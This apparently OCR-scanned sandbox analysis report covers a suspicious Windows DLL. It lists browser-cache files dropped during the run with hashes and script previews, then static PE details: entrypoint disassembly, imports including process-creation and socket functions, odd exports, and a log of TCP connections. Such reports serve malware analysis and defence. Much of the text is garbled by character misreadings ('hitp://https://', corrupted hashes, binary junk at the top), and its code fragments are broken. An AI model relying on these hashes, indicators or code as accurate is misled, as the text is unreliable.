R.V.U.IM+M........ U.....nX.sZ...c..e]i.[..._.g.ZYv....th.[:.....@...S] WWKE7

e IVPr|ivi?.bnal3 .)-kY)%\.)(.90.9..U...]....]l.e...Y>3"..va|...[g.E..A.../P.D....sTp...OGh...;.)./....U.iVb.{Wb+..?K...F&....w..Ly..

Q.m.Em....b...g">* L[ EWXF-W:.1.8%..9..\.>S....f.E..Z_N/ ?{t..... =~K.\...~.0.LK....@..sKpy...&..>4.gJq]E..n...Ev L&)y.Clld

jo.%.3#. [P..K.Q}....U(.X....\..}...x..0)..D.\*+..7.j.y.Kg<.&......r.s.g.L...).....aL_o.m........ [.X2.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\medianet[1].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: HTML document, ASCII text, with very long lines
Category: downloaded
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\medianet[1].htm

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

384616

5.484091923749702

false

6144:4mQ9Tw5qlZvbzHOMIZnGQVvgz5RCulbQxKSv7IW:EIZvwWwPnGQVvgnxVEKO7IW

178A88654C53080BA1219D09582EA4F5

5205033933A54BC2287FF9C3D37F3E002F1F6F71

AE9FD09D48AEC6FIB8F7DD7F7696AEB8DA0158270EEBB0704B5044EB417CA48D
A396DBF791B07BEODE47C055A669519489919CBDC43A1C91725DDE67C7068612340CE8727545ABDE9971D6FE1A08EBAFI03906028CB30F19DD6C14C29ECI72:
false

hitp://https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1

<html>.<head></head>.<body style="margin: Opx; padding: Opx; background-color: transparent;">.<script language="javascript" type="text/javascript"
>window.mnjs=window.mnjs||{},window.mnjs.ERP=window.mnjs.ERP||function(){"use strict";for(var a="",I="",c="",f={},u=encodeURIComponent(navigator.userAgent),g=[]
,e=0;e<3;e++)g[e]=[];function m(e){void 0===e.logLevel&&(e={logLevel:3,errorVal:e}),3<=e.logLevel&&g[e.logLevel-1].push(e)}function n(){var e=0;for(s=0;s<3;s++)
e+=g[s].length;if(0!==e){for(var n,o=new Image,t=f.lurl||"https://lg3-a.akamaihd.net/nerrping.php",r="",i=0,s=2;0<=s;s--){for(e=g[s].length,0;0<e; ){if(n=1===s?g[s][0]:{lo
glLevel:g[s][0].logLevel,errorVal:{name:g[s][0].errorVal.name,type:a,svr:l,servname:c,message:g[s][0].errorVal.message,line:g[s][0].errorVal.lineNumber,description:g[s][0]
.errorVal.description,stack:g[s][0].errorVal.stack}},n=n,!((n="object"!=typeof JSON||"function"!=typeof JSON.stringify?"JSON IS NOT SUPPORTED":JSON.stringify(n)
).length+r.length<=1

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\nrrV67478[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

dropped

88164

5.423101112677061

false
1536:DVNCuukXGsQihGZFu94xdV2E4q35nJyOukWaaCUFP+i/TX6Y+fj4/fhAaTZae:DQiYpdVGetuVLKY+fjwZ
C2DCOFFE06279ECC59ACBC92A443FFD4

C271908D08B13E08BFD5106EE9F4E6487A3CDEC4
51A34C46160A51FBOEAB510A83D06AAIF593C8BEB83099D066924EACAE4160BC

6B9EBB0BD6BC121F4B8E23FC74FD21C81430EE10B39B1EDBDEFF29C04A3116EB12FC2CC633A5FF4C948C16FEF9CD258EOED0743D3D9CBOEE78A253B6F5CBI
05D

false

var _mNRequire,_mNDefine;!function(){"use strict";var c={},u={};function a(e){return“function"==typeof e}_mNRequire=function e(t,r){var n,i,o=[];for(i in t)t.hasOwnProper
ty(i)&&("object"I=typeof(n=t[i])&&void 0!==n?(void 0!==c[n]||(c[n]=e(u[n].deps,u[n].callback)),o.push(c[n])):0.push(n));return a(r)?r.apply(this,0):0},_mNDefine=function(e,t,r)
{if(a(t)&&(r=t,t=[]),void 0===(n=e)||""===n||null===n]|(n Object.prototype.toString.call(n))||'a(r))return!1;var n;u[e]={deps:t,callback:r}}}();_mNDefine
("modulefactory”,[],function(){"use strict";var r={},e={},0={},i={},n={},t={},a={};function c(r){var e=!0,0={};try{o=_mNRequire([r])[0]}catch(r){e=!1}return o.isResolved=function()
{return e},o}return r=c("conversionpixelcontroller"),e=c("browserhinter"),o=c("kwdClickTargetModifier"),i=c("hover"),n=c("mraidDelayedLogging"),t=c("macrokeywor
ds"),a=c("tcfdatamanager"),{conversionPixelController:r,browserHinter:e,hover:i,keywordClick TargetModifier:o,mraidDelayedLogging:n,macroKeyw

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\otBannerSdk[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with CRLF line terminators

downloaded

353215

5.298793785430684

false
3072:BpgAkgNs7z+NwHr5GR74A+x8sP/An4bb4yxL/Z8NdWRHNoVVMyDkpZ:BOC8zZ5G+x8sP/Ani4yxDAdWRHoVVAZ
9982BA07340077CE7240B75C6C6FCBB4

D776E39E13F151C5ED2F7E5761EDE13D9CC72D27
87C99BCFI8F3DA7D1429DACB184E3212634B65706CE7740CE940D1553B57DAAA

3EEB895128D38BBBE4FDESCD71B4FC563C38FFA2F1BCBB3A323D280B4812B0B111DEC1D745BESEE8F792F7977978FFFO03BBO0C795C3F5CAFEGEG2B3EDF2E8S
8FD

false

hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/otBannerSdk.js

[** .. * onetrust-banner-sdk.. * v6.7.0.. * by OneTrust LLC.. * Copyright 2020 .. */..!function () { "use strict"; var o = function (e, t) { return (o = Object.setPrototypeOf || {
__proto__: [] } instanceof Array && function (e, t) { e.__proto__ =t} || function (e, t) { for (var o in t) t.hasOwnProperty(o) && (e[o] = t[o]) })(e, t) }; var r = function () { return
(r = Object.assign || function (e) { for (var t, o = 1, n = arguments.length; o < n; o++)for (var r in t = arguments[o]) Object.prototype.hasOwnProperty.call(t, r) && (e[r] = t[r]);
return e }).apply(this, arguments) }; function I(s, i, a, I) { return new (a = a || Promise)(function (e, t) { function o(e) { try { r(l.next(e)) } catch (e) { t(e) } } function n(e) { try {
r(L.throw(e)) } catch (e) { t(e) } } function r(t) { t.done ? e(t.value) : new a(function (e) { e(t.value) }).then(o, n) } r((I = Lapply(s, i || [I)).next()) }) } function k(o, n) { var r, s, i, e,
a = { label: 0, sent: function () { if (1 & i[0]) throw i[1]

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\INUEPGTR9\otPcCenter[1].json

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe
ASCII text, with very long lines, with CRLF line terminators
downloaded

46394

5.58113620851811
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IEANUEPGTR9\otPcCenter[1].json

Encrypted: false

SSDEEP: 384:0j+X+jzgBCL2RAAARKXWSUB8zVrX0eQna4lwFpWgeObRApQZInjatWLGuD3eWrwAs:4zgEFAIXWeNelpW4lzZInuWjlHoQthl

MDS5: 145CAF593D1A355E3ECD5450B51B1527

SHA1L: 18F98698FC79BA278C4853D0DF2AEEB0F61E15A2

SHA-256: 0914915E9870A4ED422DB68057A450DF6923A0FA824B1BE11ACA75C99C2DA9C2

SHA-512: D02D8D4F9C894ADABBAOB476D223653F69273B6A8B0476980CD567B7D7C217495401326B14FCBE632DA67C0CB897C158AFCB7125179728A6B679B5F81CADEB!
Malicious: false

|IE Cache URL: hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/assets/v2/otPcCenter.json

Preview:

{. "name": "otPcCenter", "html": "PGRpdiBpZD0ib25IdHJ1c3QtcGMtc2RrliBjbGFzcz0ib3RQYONIbnRIciBvdC1loaWRIIGI90LWZhZGUta
W4|IGFyaWEthQkYWWQInRydWUlIHvaGU9ImeYvaZngYXJpYSleWJIbeIZGJSPSJdeleleaXRsZSI+PCEtLSBDbGQzZSBCdXR0b24gLSO+PGde
iBjbGFzcz0ib3QtcGMtaGVhZGVylj48IS0tIExvZ28gVGFnICOtPjxkaXYgY 2xhc3M9Im9OLXBjLWxvZ28ilHIvbGU9ImItZylgY XJIpY S1sYWJIbD0iQ29tcGFueSBMb2d
VIj48L2Rpdj48YnV0OdGOuIGIKPSJjbG9zZS1wYylidG4AtaGFuZGxicilgY 2xhc3MIIM9OLWNsh3NILWIjb24ilGFyaWEthGFiZWw9lkNsb3NIIj48L2J1dHRvVbj48L2Rpdj48ISOtIEN
sh3NIIEJ1dHRVbIAtLT48ZGI2IGIKPSIvdC1wYy1jh250ZW50I1iBjbGFzcz0ib3QtcGMtc2Nyb2xsY mFylj48aDMgaWQ9Im90LXBjLXRpdGx1j5Zb3VyIFByaXZhY3k8L
2gzPjxkaXYgawQ9Im90LXBjLWRIc2MiPjwvZGI2PjxidXR0Ob24gaWQ9ImFjY2VwdC1yZWNvbW1lIbmRIZC1lidG4taGFuZGxIcil+QWxsh3cgY WxsPC9idXR0b24+PHNIY3R
pb24gY2xhc3M9Im90LXNkaylyb3cgb3QtY2FOLWdycCl+PGgzIGIkPSJIvdC1jYXRIZ29ye S10aXRsZSI+TWFuYWdIIENvb2tpZSBQcmVmZXJlbmNIczwvaDM+PGRpdiBjb
GFzcz0ib3QtcGxpLWhkcil+PHNwYW4gY 2xhc3M9IIm90LWxpLXRpdGxlIj5Db25zZW50PC9

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PEJLKQA8\39ab3103-8560-4a55-bfc4-401f897cf6f2[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3
Category: downloaded

Size (bytes): 64434

Entropy (8bit): 7.97602698071344

Encrypted: false

SSDEEP: 1536:uvrPk/qeS+g/vzqMMWi/shpcnsdHRpkZRF+wL7NK2cc8d55:uvrsSh7XzB0shpOWpkThLRyc8J

MDS5: F7E694704782A95060AC87471FOACTEA

SHA1L: F3925E2B2246A931CB81A96EE94331126DEDB9I09

SHA-256: DEEBF748D8EBEB50F9DFF0503606483CBD028D255A888E0006F219450AABCAAE

SHA-512: 02FEFF294B6AECDDA9CC9E2289710898675ED8D53B15E6FFOBB090F78BD784381E4F626A6605A8590665E71BFEED7AC703800BA018E6FEOD49946A7A3F431D7
Malicious: false

|IE Cache URL: hitp://https://cvision.media.net/new/300x300/3/167/174/27/39ab3103-8560-4a55-bfc4-401f897cf6f2.jpg?v=9

Preview:

q.....#2...$B...3Rb.%CS...&4Tr..(56¢s.. F. 1..AQ"aq.2....BR....#3..Cb....$Sr..&FTc .N..m.l$!..|((&.|...Uw.Wm...l..VK.KWQH.Q.
N...S~....@XT.%.D.?... JNm.;&.....y.qt8.. x.2.u.TT.=TT..k........ 2.jJ..BS..@"a....6..5/0.1,.3.r...,<3~.. A V.G.."*...5]...p.. #Yb.K.n''n.w.{o..._.. [ N L Soew-4 | V40
.D2.y...0.}.=..+i.=U.....J$.(.IHO.-..uKSUmM*P..T.5..H.6.....6k,8.E....".n....... pMk+..,g...N)GEUM..UUWO%O...)CJ&.P.2!l.........D.z..W...Q..r.t..6]... U muA *kZOQ...#...qZ
..mTu..Ej....6.)Se.<.*...U.@...K.g\D.../.S....~.3 ....hN.."..n..v.?E",.R<-.Y)..M."a.0.R.D...;y0.~.x;u..H.....-.%......].%

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\4jNuPd[1].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: downloaded

Size (bytes): 339392

Entropy (8bit): 5.999967656351339

Encrypted: false

SSDEEP: 6144:cDJI443S9YbS47Fk3Zsv12tXBQWgy01CGFSpjYC50sGAECIMizvDupzStPX56:cB35u8u6vMFgy0cWUGIMV650XM
MDS5: 415DBB7F17A00913790F8E99ADBBID93

SHA1L: C7D1A1B88A46A1E65B109257BFFFB5259900AF17

SHA-256: 3A7B725B6B273BFCFDBEC5A06868562AD848034EFBA247BE5S739858768FC3B0A

SHA-512: 39C6EB2B71DOD6BEOAEAC7DF2CCBDA743633A94895D90DC2569D866F1490A33200BEB29AC31573F2814E78487FF6FC50D492AC049213C8542ACE6BF23F24D0¢
Malicious: false

|IE Cache URL: hitp://
apil0.laptok.at/apil/6pQTzaY 2jKRE9Otp7pijj/jmnK_2FJdB8kIJDKg/vxFcjPsrp_2FB9U/IOXXE03y78_2BI_2FC/pZwONzw8E/O0k8zJt20KIPWEAITUgj/Ph1AIH46ZRC_2FAT8
N_/2FsqgQGNoPpxHDz1fQjtgV/H6 LURIVMmMIVZx/vXX3iis8/_2ByUIphkkxJKe_2B0Axt8i/1HOB5rC_2F/fKjHLYVOPd7AS02zv/15i58zgPLqWh/Zel7YnjtDx2/IkZ01V4bMlal_2/
BrHCuz27onDH_2Fyalz5t/pc7dPwXYGnmuctsD/kRhp92_2FH2ZQHW/DAh49GgFcOyanPH7sP/84LwdYOH_/2Bbf1SY8UzVHP/4jNuPd

Preview:
6j0tPWjpJsKgG9lhgDi2XnSCJeSPxONX1nV8WY+GCWFWyqgjjf6aBHZ4Gm39WG35NIA]ISFMwsnGPoXAWLoM/VLRnXdPawnt6plAayjWw023ZgrADW|9Fjr/h
EsQCUe4YN7RczMhFfFBSJE/eeaHpbpQOy3XXJLCECMM3JawVyKI5iDJIFdt8LROdOhT19sg73100/0jZ0sudP5iixOsSUCP++ITIM5DX+ewXXNSgm3azZI1E
qLWpD9YZWm1PgJLqtij73+/eCtHQdmU+FFqUDQ3Xnpks7WijfKicoK3vhxYzfuwHE3AUCMVgzwFEzknjCe9ulbIPLxgxWMUBJLDpeSThcyxbKggkrp+O89ZEF+bScp5n9Jc
1fslkM9Ncw15Qt0Y TxV/MgV22XDxC1hTWXMQuUNHwUzeqTfFvh26+BNxM/PwN5yOJhezaNZpQp7q9tDSNskdDTftyq4K8ofKgCZvl5zm+I5u7/Mcd5nxwUPW5
WsXa7ib9QPplhF063avjRaAFWVpamPBkQP1N1SolbNNFsgzHIH79gPaBwu3X1dEAe3blIRumLGYr80OAsSEwWvbOVxJvLh6q753BMvZjXGdTk+9dFyubDaljpLDt
D176vNa++Twgurl3dClbwwGkxT+S7BtkCz2UsVI8/oxv+pyVqTuFWJINBVsimMBTH+06ixzyxY4kCoQ14J3WEMW8QSctnAS2US5UIzBACIE7THQNN07026e8F26RpsiAmcit
EeqQ38jAnThDfOm/u+sBYDbOeAwpBjLG/DryeM3Qidw706LujG5iaCPrvUxgHhW5/60MR8sdtLTY SW3ERvVJIPdZq/pt+pOqSVnTDfixNvt8OAY hiEKwuSyGf5nQHyRruX1T
vy+NIGP/+PTpz8rcqR3pPUYDDDZA7zg4T1l/Y2vuZ1crSAZAJy6aXwIDOXSAVEzZXw30BHfnIBt14DTppquKuqVJanzBOrevx3N8H8GUUINcQil4aNk4MPGk5P4qJOiPKQT

Static File Info
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General

File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:

DLL Characteristics:
Time Stamp:

TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:

File Version Minor:

Subsystem Version Major:

Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Instruction

cmp dword ptr [esp+08h], 01h
jne 00007F0118A232B7h
call 00007F0118A2C060h
push dword ptr [esp+04h]
mov ecx, dword ptr [esp+10h]
mov edx, dword ptr [esp+0Ch]
call 00007F0118A231A2h

pop ecx

retn 000Ch

mov eax, dword ptr [esp+04h]

XOr ecx, ecx

Copyright null 2021

74f0edecccdceOed

0x100285d5
text
false
0x10000000

windows gui

PE32 executable (DLL) (GUI) Intel 80386, for MS Wi
ndows

6.790708744874654

e Win32 Dynamic Link Library (generic) (1002004/3)
99.60%

Generic Win/DOS Executable (2004/3) 0.20%
DOS Executable Generic (2002/1) 0.20%
Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

Securitelnfo.com.Generic.mg.f77e7bd43f365593.dll

.

.

.

360448
f77e7bd43f365593014469cf644ced65
66692ff392d5844b8hc362ch8a2640927ceabfbf

56a0cec492d2f8d68f8c9c5f54a9c9407f352e3b33elele
6c68409achOec04ac

69b6a5fc7b42f714167b39a4b38ed98a95af44a41ba7612
9f0a43341c459d148d674751f839a8442a1073268e9de8¢
deec9a2cd7bfdeadb46dd63a847a64a885

6144:987Sm49IFRQSAe5kIlQm3n/ym1grjpY7nfoBv3lYd
kv+hgG2gnG4V/gU:Im+3QSAdm3n/yogZgbv3Gqv0gG2
gG4lv

is program cannot be run in DOS mode....$.......b.6.&.X.
& X.&X..F%.>X..F6..X..F5.. X.[. #£.X.&Y.L.X..F*" X..F".
"X.F$X.F " X.Rich&X......... PE..L...a.E.........

32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

O0x45AF61BB [Thu Jan 18 12:02:03 2007 UTC]

o~ O b O »

e0e710d4ed87ec11636d345dba071187
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Instruction

cmp eax, dword ptr [L00503A0h+ecx*8]
je 00007F0118A232C4h

inc ecx

cmp ecx, 2Dh

jl 00007F0118A232A3h

lea ecx, dword ptr [eax-13h]
cmp ecx, 11h

jnbe 00007F0118A232BEh
push 0000000Dh

pop eax

ret

mov eax, dword ptr [100503A4h+ecx*8]
ret

add eax, FFFFFF44h

push 0000000Eh

pop ecx

cmp ecx, eax

shb eax, eax

and eax, ecx

add eax, 08h

ret

call 00007F0118A29AA8h
test eax, eax

jne 00007F0118A232B8h
mov eax, 10050508h

ret

add eax, 08h

ret

call 00007F0118A29A95h
test eax, eax

jne 00007F0118A232B8h
mov eax, 1005050Ch

ret

add eax, OCh

ret

push esi

call 00007F0118A2329Ch
mov ecx, dword ptr [esp+08h]
push ecx

mov dword ptr [eax], ecx

call 00007F0118A23242h
pop ecx

mov esi, eax

call 00007F0118A23275h
mov dword ptr [eax], esi

pop esi

ret

push ebp

mov ebp, esp

sub esp, 48h

mov eax, dword ptr [10050514h]
xor eax, ebp

mov dword ptr [ebp-04h], eax
push ebx

xor ebx, ebx

push esi

mov esi, dword ptr [ebp+08h]
cmp dword ptr [esi+14h], ebx
push edi

mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-24h], ebx
mov dword ptr [ebp-1Ch], ebx
mov dword ptr [ebp-28h], ebx
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Rich Headers

Programming Language:

Data Directories

Name

IMAGE_DIRECTORY_ENTRY_EXPORT
IMAGE_DIRECTORY_ENTRY_IMPORT
IMAGE_DIRECTORY_ENTRY_RESOURCE
IMAGE_DIRECTORY_ENTRY_EXCEPTION
IMAGE_DIRECTORY_ENTRY_SECURITY
IMAGE_DIRECTORY_ENTRY_BASERELOC
IMAGE_DIRECTORY_ENTRY_DEBUG
IMAGE_DIRECTORY_ENTRY_COPYRIGHT
IMAGE_DIRECTORY_ENTRY_GLOBALPTR
IMAGE_DIRECTORY_ENTRY_TLS
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT
IMAGE_DIRECTORY_ENTRY_IAT
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name Virtual Address Virtual Size Raw Size
text 0x1000 0x3c44c 0x3d000
.rdata  0x3e000 0x110b3 0x12000
.data 0x50000 0x604c8 0x4000
.rsrc 0xb1000 0x4d0 0x1000
.reloc  0xb2000 0x2c74 0x3000
Resources

Name RVA
RT_VERSION 0xb10a0
RT_MANIFEST 0xb1350
Imports

DLL

KERNEL32.dll

Copyright null 2021

[RES] VS2005 build 50727

[ C]VS2005 build 50727
[EXP] VS2005 build 50727
[C++] VS2005 build 50727
[ASM] VS2005 build 50727
[LNK] VS2005 build 50727
[IMP] VS2008 SP1 build 30729

e o o o o o o

Virtual Address Virtual Size Is in Section
0x4f020 0x93 .rdata
0x4e754 0x3c .rdata
0xb1000 0x4d0 .rsrc
0x0 0x0
0x0 0x0
0xb2000 0x1c98 .reloc
0x3e220 Oxlc .rdata
0x0 0x0
0x0 0x0
0x0 0x0
Ox4cc28 0x40 .rdata
0x0 0x0
0x3e000 Ox1b4 .rdata
0x0 0x0
0x0 0x0
0x0 0x0
Xored PE ZLIB Complexity File Type Entropy Characteristics
False 0.709148469518 data 6.87914084744 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ
False 0.671644422743 data 6.38352321927 IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_MEM_READ
False 0.558715820312 COM executable for DOS 5.48871661926 IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
False 0.150146484375 data 1.65729733757 IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_MEM_READ
False 0.485595703125 data 4.83368153083 IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_MEM_DISCARDA
BLE, IMAGE_SCN_MEM_READ
Size Type Language Country
0x2b0 data English United States
0x17d XML 1.0 document text English United States

Import

ExitProcess, GetFileAttributesA, CreateProcessA, GetSystemDirectoryA, GetEnvironmentVariableA,
MultiByteToWideChar, GetShortPathNameA, CopyFileA, GetTempFileNameA, LoadLibraryA, WaitForMultipleObjects,
GetModuleFileNameA, VirtualProtect, GetCurrentProcessld, CompareStringW, CompareStringA, CreateFileA,
SetStdHandle, WriteConsoleW, GetConsoleOutputCP, WriteConsoleA, ReadFile, GetLocaleInfoW, IsValidCodePage,
IsValidLocale, EnumSystemLocalesA, GetLocalelnfoA, WideCharToMultiByte, InterlockedIincrement,
InterlockedDecrement, InterlockedCompareExchange, InterlockedExchange, Sleep, InitializeCriticalSection,
DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetLastError, HeapFree, TerminateProcess,
GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetTimeFormatA,
GetDateFormatA, GetSystemTimeAsFileTime, GetCurrentThreadld, GetCommandLineA, GetVersionExA, HeapAlloc,
GetProcessHeap, GetCPInfo, RaiseException, RtlUnwind, LCMapStringA, LCMapStringW, GetStringTypeA,
GetStringTypeW, HeapDestroy, HeapCreate, VirtualFree, VirtualAlloc, HeapReAlloc, GetProcAddress,
GetModuleHandleA, TIsGetValue, TIsAlloc, TIsSetValue, TIsFree, SetLastError, GetACP, GetOEMCP,
GetTimeZonelnformation, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, FreeEnvironmentStringsA,
GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, QueryPerformanceCounter,
GetTickCount, WriteFile, GetConsoleCP, GetConsoleMode, FlushFileBuffers, SetFilePointer, CloseHandle, HeapSize,
GetUserDefaultLCID, SetEnvironmentVariableA
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DLL
ws2_32.dll

Exports

Name
DlIRegisterServer
Exactnature
Happenthousand

Probablepath
Version Infos

Description
LegalCopyright
FileVersion
CompanyName
ProductName
ProductVersion
FileDescription
OriginalFilename

Translation
Possible Origin

Language of compilation system

English

Network Behavior

Network Port Distribution

TCP Packets

Timestamp

Feb 16, 2021 00:57:39.094885111 CET
Feb 16, 2021 00:57:39.094965935 CET
Feb 16, 2021 00:57:39.149360895 CET

Copyright null 2021

Import

ioctlsocket, inet_ntoa, WSAStartup, recvfrom, ntohl, inet_addr, htons, WSACleanup, recv, socket, getservbyname, send,
getsockopt, listen

Ordinal

A wWN

Data

Copyright Strongimagine 1996-2016
8.3.8.121

Strongimagine

Room know

8.3.8.121 Soundbank

Room know

Sing.dll

0x0409 0x04e4

Country where language is spoken

United States

Total Packets: 112

® 53 (DNS)
@ 443 (HTTPS)

Source Port Dest Port
49728 443
49729 443

443 49728

Address

0x10021230
0x10021130
0x100215a0
0x10021650

Source IP
192.168.2.5
192.168.2.5
104.20.184.68

Map

Dest IP
104.20.184.68
104.20.184.68
192.168.2.5
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 16, 2021 00:57:39.149395943 CET 443 49729 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.149492979 CET 49728 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.149532080 CET 49729 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.153820038 CET 49728 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.154423952 CET 49729 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.206079960 CET 443 49728 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.206115007 CET 443 49729 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.206152916 CET 443 49728 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.206190109 CET 443 49728 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.206223965 CET 49728 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.206269979 CET 49728 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.206818104 CET 443 49729 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.206856012 CET 443 49729 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.206904888 CET 49729 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.206949949 CET 49729 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.257767916 CET 49728 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.258232117 CET 49728 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.258481026 CET 49728 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.269426107 CET 49729 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.269783020 CET 49729 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.311063051 CET 443 49728 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.311204910 CET 443 49728 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.311291933 CET 49728 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.311299086 CET 443 49728 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.311414003 CET 49728 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.311516047 CET 443 49728 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.311543941 CET 443 49728 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.312149048 CET 443 49728 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.312254906 CET 49728 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.313268900 CET 49728 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.321157932 CET 443 49728 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.321190119 CET 443 49728 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.321290016 CET 49728 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.321329117 CET 49728 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.322932005 CET 443 49729 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.322976112 CET 443 49729 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.323087931 CET 443 49729 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.323129892 CET 443 49729 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.323180914 CET 49729 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.323220015 CET 49729 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.323945045 CET 49729 443 192.168.2.5 104.20.184.68
Feb 16, 2021 00:57:39.366854906 CET 443 49728 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:39.375433922 CET 443 49729 104.20.184.68 192.168.2.5
Feb 16, 2021 00:57:43.951302052 CET 49742 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:43.951905966 CET 49743 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:43.951925039 CET 49745 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:43.951961040 CET 49744 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:43.954567909 CET 49746 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:43.955447912 CET 49747 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:43.994878054 CET 443 49742 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:43.995002031 CET 49742 443 192.168.2.5 151.101.1.44
Feb 16, 2021 00:57:43.995215893 CET 443 49745 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:43.995244980 CET 443 49743 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:43.995270967 CET 443 49744 151.101.1.44 192.168.2.5
Feb 16, 2021 00:57:43.995290041 CET 49745 443 192.168.2.5 151.101.1.44
